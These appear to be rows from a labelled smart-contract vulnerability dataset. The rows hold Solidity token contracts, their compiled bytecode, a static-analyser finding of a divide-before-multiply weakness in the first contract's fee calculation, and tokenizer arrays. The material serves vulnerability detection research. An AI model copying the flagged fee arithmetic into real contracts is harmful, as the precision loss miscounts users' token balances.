break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(2);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x608060405234801561001057600080fd5b506004361061014d5760003560e01c8063715018a6116100c3578063cba0e9961161007c578063cba0e996146103cc578063d543dbeb146103f2578063dd62ed3e1461040f578063f2cc0c181461043d578063f2fde38b14610463578063f84354f1146104895761014d565b8063715018a6146103385780637d1db4a5146103405780638da5cb5b1461034857806395d89b411461036c578063a457c2d714610374578063a9059cbb146103a05761014d565b806323b872dd1161011557806323b872dd146102505780632d83811914610286578063313ce567146102a357806339509351146102c15780634549b039146102ed57806370a08231146103125761014d565b8063053ab1821461015257806306fdde0314610171578063095ea7b3146101ee57806313114a9d1461022e57806318160ddd14610248575b600080fd5b61016f6004803603602081101561016857600080fd5b50356104af565b005b610179610587565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101b357818101518382015260200161019b565b50505050905090810190601f1680156101e05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61021a6004803603604081101561020457600080fd5b506001600160a01b03813516906020013561061d565b604080519115158252519081900360200190f35b61023661063b565b60408051918252519081900360200190f35b610236610641565b61021a6004803603606081101561026657600080fd5b506001600160a01b03813581169160208101359091169060400135610650565b6102366004803603602081101561029c57600080fd5b50356106d7565b6102ab610739565b6040805160ff9092168252519081900360200190f35b61021a600480360360408110156102d757600080fd5b506001600160a01b038135169060200135610742565b6102366004803603604081101561030357600080fd5b50803590602001351515610790565b6102366004803603602081101561032857600080fd5b50356001600160a01b0316610829565b61016f61088b565b61023661092d565b610350610933565b604080516001600160a01b039092168252519081900360200190f35b610179610942565b61021a6004803603604081101561038a57600080fd5b506001600160a01b0381351690602001356109a3565b61021a600480360360408110156103b657600080fd5b506001600160a01b038135169060200135610a0b565b61021a600480360360208110156103e257600080fd5b50356001600160a01b0316610a1f565b61016f6004803603602081101561040857600080fd5b5035610a3d565b6102366004803603604081101561042557600080fd5b506001600160a01b0381358116916020013516610abb565b61016f6004803603602081101561045357600080fd5b50356001600160a01b0316610ae6565b61016f6004803603602081101561047957600080fd5b50356001600160a01b0316610c6c565b61016f6004803603602081101561049f57600080fd5b50356001600160a01b0316610d64565b60006104b9610f25565b6001600160a01b03811660009081526004602052604090205490915060ff16156105145760405162461bcd60e51b815260040180806020018281038252602c815260200180611b89602c913960400191505060405180910390fd5b600061051f83610f29565b505050506001600160a01b0383166000908152600160205260409020549091506105499082610f75565b6001600160a01b03831660009081526001602052604090205560065461056f9082610f75565b60065560075461057f9084610fbe565b600755505050565b60088054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156106135780601f106105e857610100808354040283529160200191610613565b820191906000526020600020905b8154815290600101906020018083116105f657829003601f168201915b5050505050905090565b600061063161062a610f25565b8484611018565b5060015b92915050565b60075490565b6a52b7d2dcc80cd2e400000090565b600061065d848484611104565b6106cd84610669610f25565b6106c885604051806060016040528060288152602001611acf602891396001600160a01b038a166000908152600360205260408120906106a7610f25565b6001600160a01b0316815260208101919091526040016000205491906113ae565b611018565b5060019392505050565b600060065482111561071a5760405162461bcd60e51b815260040180806020018281038252602a815260200180611a14602a913960400191505060405180910390fd5b6000610724611445565b90506107308382611468565b9150505b919050565b600a5460ff1690565b600061063161074f610f25565b846106c88560036000610760610f25565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490610fbe565b60006a52b7d2dcc80cd2e40000008311156107f2576040805162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c7900604482015290519081900360640190fd5b8161081057600061080284610f29565b509294506106359350505050565b600061081b84610f29565b509194506106359350505050565b6001600160a01b03811660009081526004602052604081205460ff161561086957506001600160a01b038116600090815260026020526040902054610734565b6001600160a01b038216600090815260016020526040902054610635906106d7565b610893610f25565b6000546001600160a01b039081169116146108e3576040805162461bcd60e51b81526020600482018190526024820152600080516020611af7833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600b5481565b6000546001600160a01b031690565b60098054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156106135780601f106105e857610100808354040283529160200191610613565b60006106316109b0610f25565b846106c885604051806060016040528060258152602001611bb560259139600360006109da610f25565b6001600160a01b03908116825260208083019390935260409182016000908120918d168152925290205491906113ae565b6000610631610a18610f25565b8484611104565b6001600160a01b031660009081526004602052604090205460ff1690565b610a45610f25565b6000546001600160a01b03908116911614610a95576040805162461bcd60e51b81526020600482018190526024820152600080516020611af7833981519152604482015290519081900360640190fd5b610ab56064610aaf6a52b7d2dcc80cd2e4000000846114aa565b90611468565b600b5550565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b610aee610f25565b6000546001600160a01b03908116911614610b3e576040805162461bcd60e51b81526020600482018190526024820152600080516020611af7833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526004602052604090205460ff1615610bac576040805162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604482015290519081900360640190fd5b6001600160a01b03811660009081526001602052604090205415610c06576001600160a01b038116600090815260016020526040902054610bec906106d7565b6001600160a01b0382166000908152600260205260409020555b6001600160a01b03166000818152600460205260408120805460ff191660019081179091556005805491820181559091527f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db00180546001600160a01b0319169091179055565b610c74610f25565b6000546001600160a01b03908116911614610cc4576040805162461bcd60e51b81526020600482018190526024820152600080516020611af7833981519152604482015290519081900360640190fd5b6001600160a01b038116610d095760405162461bcd60e51b8152600401808060200182810382526026815260200180611a3e6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b610d6c610f25565b6000546001600160a01b03908116911614610dbc576040805162461bcd60e51b81526020600482018190526024820152600080516020611af7833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526004602052604090205460ff16610e29576040805162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604482015290519081900360640190fd5b60005b600554811015610f2157816001600160a01b031660058281548110610e4d57fe5b6000918252602090912001546001600160a01b03161415610f1957600580546000198101908110610e7a57fe5b600091825260209091200154600580546001600160a01b039092169183908110610ea057fe5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600282526040808220829055600490925220805460ff191690556005805480610ef257fe5b600082815260209020810160001990810180546001600160a01b0319169055019055610f21565b600101610e2c565b5050565b3390565b6000806000806000806000610f3d88611503565b915091506000610f4b611445565b90506000806000610f5d8c8686611536565b919e909d50909b509599509397509395505050505050565b6000610fb783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113ae565b9392505050565b600082820183811015610fb7576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6001600160a01b03831661105d5760405162461bcd60e51b8152600401808060200182810382526024815260200180611b656024913960400191505060405180910390fd5b6001600160a01b0382166110a25760405162461bcd60e51b8152600401808060200182810382526022815260200180611a646022913960400191505060405180910390fd5b6001600160a01b03808416600081815260036020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166111495760405162461bcd60e51b8152600401808060200182810382526025815260200180611b406025913960400191505060405180910390fd5b6001600160a01b03821661118e5760405162461bcd60e51b81526004018080602001828103825260238152602001806119f16023913960400191505060405180910390fd5b600081116111cd5760405162461bcd60e51b8152600401808060200182810382526029815260200180611b176029913960400191505060405180910390fd5b6111d5610933565b6001600160a01b0316836001600160a01b03161415801561120f57506111f9610933565b6001600160a01b0316826001600160a01b031614155b1561125557600b548111156112555760405162461bcd60e51b8152600401808060200182810382526028815260200180611a866028913960400191505060405180910390fd5b6001600160a01b03831660009081526004602052604090205460ff16801561129657506001600160a01b03821660009081526004602052604090205460ff16155b156112ab576112a6838383611572565b6113a9565b6001600160a01b03831660009081526004602052604090205460ff161580156112ec57506001600160a01b03821660009081526004602052604090205460ff165b156112fc576112a6838383611689565b6001600160a01b03831660009081526004602052604090205460ff1615801561133e57506001600160a01b03821660009081526004602052604090205460ff16155b1561134e576112a683838361172f565b6001600160a01b03831660009081526004602052604090205460ff16801561138e57506001600160a01b03821660009081526004602052604090205460ff165b1561139e576112a6838383611770565b6113a983838361172f565b505050565b6000818484111561143d5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156114025781810151838201526020016113ea565b50505050905090810190601f16801561142f5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008060006114526117e0565b90925090506114618282611468565b9250505090565b6000610fb783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611967565b6000826114b957506000610635565b828202828482816114c657fe5b0414610fb75760405162461bcd60e51b8152600401808060200182810382526021815260200180611aae6021913960400191505060405180910390fd5b6000808061151d6002611517866064611468565b906114aa565b9050600061152b8583610f75565b935090915050915091565b600080808061154587866114aa565b9050600061155387876114aa565b905060006115618383610f75565b929992985090965090945050505050565b600080600080600061158386610f29565b6001600160a01b038d16600090815260026020526040902054949950929750909550935091506115b39087610f75565b6001600160a01b0389166000908152600260209081526040808320939093556001905220546115e29086610f75565b6001600160a01b03808a1660009081526001602052604080822093909355908916815220546116119085610fbe565b6001600160a01b03881660009081526001602052604090205561163483826119cc565b866001600160a01b0316886001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b600080600080600061169a86610f29565b6001600160a01b038d16600090815260016020526040902054949950929750909550935091506116ca9086610f75565b6001600160a01b03808a16600090815260016020908152604080832094909455918a168152600290915220546117009083610fbe565b6001600160a01b0388166000908152600260209081526040808320939093556001905220546116119085610fbe565b600080600080600061174086610f29565b6001600160a01b038d16600090815260016020526040902054949950929750909550935091506115e29086610f75565b600080600080600061178186610f29565b6001600160a01b038d16600090815260026020526040902054949950929750909550935091506117b19087610f75565b6001600160a01b0389166000908152600260209081526040808320939093556001905220546116ca9086610f75565b60065460009081906a52b7d2dcc80cd2e4000000825b6005548110156119235782600160006005848154811061181257fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611877575081600260006005848154811061185057fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15611897576006546a52b7d2dcc80cd2e400000094509450505050611963565b6118d760016000600584815481106118ab57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548490610f75565b925061191960026000600584815481106118ed57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548390610f75565b91506001016117f6565b5060065461193c906a52b7d2dcc80cd2e4000000611468565b82101561195d576006546a52b7d2dcc80cd2e4000000935093505050611963565b90925090505b9091565b600081836119b65760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156114025781810151838201526020016113ea565b5060008385816119c257fe5b0495945050505050565b6006546119d99083610f75565b6006556007546119e99082610fbe565b600755505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f20616464726573735472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573734578636c75646564206164647265737365732063616e6e6f742063616c6c20746869732066756e6374696f6e45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122086ae33b3b8345e6c336613bdabc3431c10c5e58c0efcb655e8103e92c96e259964736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
27009,
2050,
22932,
11329,
15878,
2581,
7875,
23632,
17788,
2475,
2098,
9818,
12879,
2620,
2546,
2581,
15136,
2487,
27421,
2278,
23352,
2581,
2094,
2692,
6305,
1013,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
4895,
13231,
27730,
1013,
1013,
1012,
1000,
2588,
3015,
2023,
1998,
21296,
2075,
2023,
3206,
2009,
20398,
2033,
2000,
2156,
2129,
2054,
2318,
1997,
2004,
2242,
2008,
2001,
3214,
2005,
11519,
7941,
6648,
2038,
3092,
2039,
3352,
1996,
4500,
1012,
1013,
1013,
1012,
2007,
1037,
3082,
2540,
2009,
20398,
2033,
2000,
2156,
2107,
12721,
2007,
2111,
4851,
2005,
2430,
5084,
15800,
2000,
2862,
2037,
7824,
1012,
2023,
2003,
2025,
2054,
19888,
2080,
2001,
3214,
2000,
2022,
1012,
1013,
1013,
1996,
2773,
19888,
2080,
1999,
2993,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,531 | 0x954ca08a114598c4604459426a1a801665195419 | pragma solidity ^0.4.16;
/**
* Math operations with safety checks
*/
contract SafeMath {
function safeMul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c>=a && c>=b);
return c;
}
}
contract APC is SafeMath {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
address public owner;
/* This creates an array with all balances */
mapping (address => uint256) public balanceOf;
mapping (address => uint256) public freezeOf;
mapping (address => mapping (address => uint256)) public allowance;
/* This generates a public event on the blockchain that will notify clients */
event Transfer(address indexed from, address indexed to, uint256 value);
/* This notifies clients about the amount burnt */
event Burn(address indexed from, uint256 value);
/* This notifies clients about the amount frozen */
event Freeze(address indexed from, uint256 value);
/* This notifies clients about the amount unfrozen */
event Unfreeze(address indexed from, uint256 value);
/* Initializes contract with initial supply tokens to the creator of the contract */
function APC(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
owner = msg.sender;
}
/* Send coins */
function transfer(address _to, uint256 _value) public {
require(_to != 0x0);
require(_value > 0);
require(balanceOf[msg.sender] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); // Add the same to the recipient
Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place
}
/* Allow another contract to spend some tokens in your behalf */
function approve(address _spender, uint256 _value) public
returns (bool success) {
require(_value > 0);
allowance[msg.sender][_spender] = _value;
return true;
}
/* A contract attempts to get the coins */
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_to != 0x0);
require(_value > 0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value); // Subtract from the sender
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); // Add the same to the recipient
allowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value);
Transfer(_from, _to, _value);
return true;
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
require(_value > 0);
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender
totalSupply = SafeMath.safeSub(totalSupply, _value); // Updates totalSupply
Burn(msg.sender, _value);
return true;
}
function freeze(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
require(_value > 0);
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender
freezeOf[msg.sender] = SafeMath.safeAdd(freezeOf[msg.sender], _value); // Updates totalSupply
Freeze(msg.sender, _value);
return true;
}
function unfreeze(uint256 _value) public returns (bool success) {
require(freezeOf[msg.sender] >= _value);
require(_value > 0);
freezeOf[msg.sender] = SafeMath.safeSub(freezeOf[msg.sender], _value); // Subtract from the sender
balanceOf[msg.sender] = SafeMath.safeAdd(balanceOf[msg.sender], _value);
Unfreeze(msg.sender, _value);
return true;
}
// transfer balance to owner
function withdrawEther(uint256 amount) public {
require(msg.sender == owner);
owner.transfer(amount);
}
// can accept ether
function() public payable {
}
} | 0x6080604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100dd578063095ea7b31461016d57806318160ddd146101d257806323b872dd146101fd578063313ce567146102825780633bed33ce146102b357806342966c68146102e05780636623fc461461032557806370a082311461036a5780638da5cb5b146103c157806395d89b4114610418578063a9059cbb146104a8578063cd4217c1146104f5578063d7a78db81461054c578063dd62ed3e14610591575b005b3480156100e957600080fd5b506100f2610608565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610132578082015181840152602081019050610117565b50505050905090810190601f16801561015f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017957600080fd5b506101b8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106a6565b604051808215151515815260200191505060405180910390f35b3480156101de57600080fd5b506101e7610741565b6040518082815260200191505060405180910390f35b34801561020957600080fd5b50610268600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610747565b604051808215151515815260200191505060405180910390f35b34801561028e57600080fd5b50610297610b72565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102bf57600080fd5b506102de60048036038101908080359060200190929190505050610b85565b005b3480156102ec57600080fd5b5061030b60048036038101908080359060200190929190505050610c4d565b604051808215151515815260200191505060405180910390f35b34801561033157600080fd5b5061035060048036038101908080359060200190929190505050610da1565b604051808215151515815260200191505060405180910390f35b34801561037657600080fd5b506103ab600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f6f565b6040518082815260200191505060405180910390f35b3480156103cd57600080fd5b506103d6610f87565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561042457600080fd5b5061042d610fad565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561046d578082015181840152602081019050610452565b50505050905090810190601f16801561049a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104b457600080fd5b506104f3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061104b565b005b34801561050157600080fd5b50610536600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112dd565b6040518082815260200191505060405180910390f35b34801561055857600080fd5b50610577600480360381019080803590602001909291905050506112f5565b604051808215151515815260200191505060405180910390f35b34801561059d57600080fd5b506105f2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114c3565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561069e5780601f106106735761010080835404028352916020019161069e565b820191906000526020600020905b81548152906001019060200180831161068157829003601f168201915b505050505081565b600080821115156106b657600080fd5b81600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b60035481565b6000808373ffffffffffffffffffffffffffffffffffffffff161415151561076e57600080fd5b60008211151561077d57600080fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156107cb57600080fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540111151561085957600080fd5b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156108e457600080fd5b61092d600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836114e8565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109b9600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611501565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a82600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836114e8565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260009054906101000a900460ff1681565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610be157600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610c49573d6000803e3d6000fd5b5050565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610c9d57600080fd5b600082111515610cac57600080fd5b610cf5600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836114e8565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d44600354836114e8565b6003819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610df157600080fd5b600082111515610e0057600080fd5b610e49600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836114e8565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ed5600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611501565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff167f2cfce4af01bcb9d6cf6c84ee1b7c491100b8695368264146a94d71e10a63083f836040518082815260200191505060405180910390a260019050919050565b60056020528060005260406000206000915090505481565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110435780601f1061101857610100808354040283529160200191611043565b820191906000526020600020905b81548152906001019060200180831161102657829003601f168201915b505050505081565b60008273ffffffffffffffffffffffffffffffffffffffff161415151561107157600080fd5b60008111151561108057600080fd5b80600560003373ffffffffff